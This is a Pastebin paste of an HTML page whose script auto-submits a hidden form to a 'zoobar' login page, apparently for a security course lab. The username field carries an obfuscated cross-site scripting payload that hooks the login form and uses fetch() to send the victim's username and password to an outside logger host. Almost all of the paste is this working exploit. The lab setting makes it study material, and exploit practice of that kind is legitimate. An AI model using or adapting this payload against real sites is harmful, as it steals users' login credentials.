Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <body>
- <script type="text/javascript">
- function redirectPost(url, data) {
- var form = document.createElement('form');
- document.body.appendChild(form);
- form.method = 'post';
- form.action = url;
- for (var name in data) {
- var input = document.createElement('input');
- input.type = 'hidden';
- input.name = name;
- input.value = data[name];
- form.appendChild(input);
- }
- form.submit();
- }
- redirectPost('http://zoobar/zoobar/', { login_username: 'a onfocus=document.loginform.login_username.value=null;document.forms[0].onsubmit=function(){fetch(String(/http:/).substring(1).slice(0,-1)+String.fromCharCode(47)+String.fromCharCode(47)+String(/dasak.csc.kth.se/).substring(1).slice(0,-1)+String.fromCharCode(47)+String(/logger/).substring(1).slice(0,-1)+String.fromCharCode(47)+String(/log.php?to=nik%40kth.se%26payload=/).substring(1).slice(0,-1)+document.loginform.login_username.value+String.fromCharCode(44)+document.loginform.login_password.value+String(/%26send_submit=Send+Email/).substring(1).slice(0,-1)).then(null).then(null)}; autofocus= '});
- </script>
- </body>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement